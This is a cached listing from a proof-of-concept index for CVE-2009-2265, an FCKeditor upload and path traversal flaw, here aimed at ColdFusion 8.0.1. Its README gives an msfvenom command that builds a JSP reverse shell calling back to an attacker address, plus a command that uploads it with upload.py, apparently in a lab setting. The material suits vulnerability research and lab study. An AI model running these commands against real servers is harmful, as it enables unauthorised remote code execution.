CVE-2009-2265 PoC — FCKeditor 路径遍历漏洞

Source

https://github.com/h3x0v3rl0rd/CVE-2009-2265

Associated Vulnerability

Title:FCKeditor 路径遍历漏洞 (CVE-2009-2265)
Description:FCKeditor是个人开发者的一款开源的专用于在网页上编辑HTML的编辑器。 FCKeditor的editor/filemanager/browser/default/connectors/php/connector.php模块中存在路径遍历漏洞： 147.function FileUpload( $resourceType， $currentFolder ) 148.{ 149.$sErrorNumber = '0' ; 150.$sFileName = '' ; 151. 152.if ( isse

Readme

# Version: ColdFusion 8.0.1
## CVE-2009-2265

`msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f raw > shell.jsp`

`python upload.py 10.10.10.11 8500 shell.jsp`



Example :

![image](https://user-images.githubusercontent.com/66146701/125869430-979bc7dc-afa2-4d2f-a546-cc05bbb00a1f.png)

![image](https://user-images.githubusercontent.com/66146701/125869597-d96c0ca0-9861-44a2-b1af-05106b79319e.png)

File Snapshot


 [4.0K]  /data/pocs/60385207f1ab9c70050dbeb3bda1a4f9a773d6a8
├── [ 422]  README.md
└── [1.6K]  upload.py

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!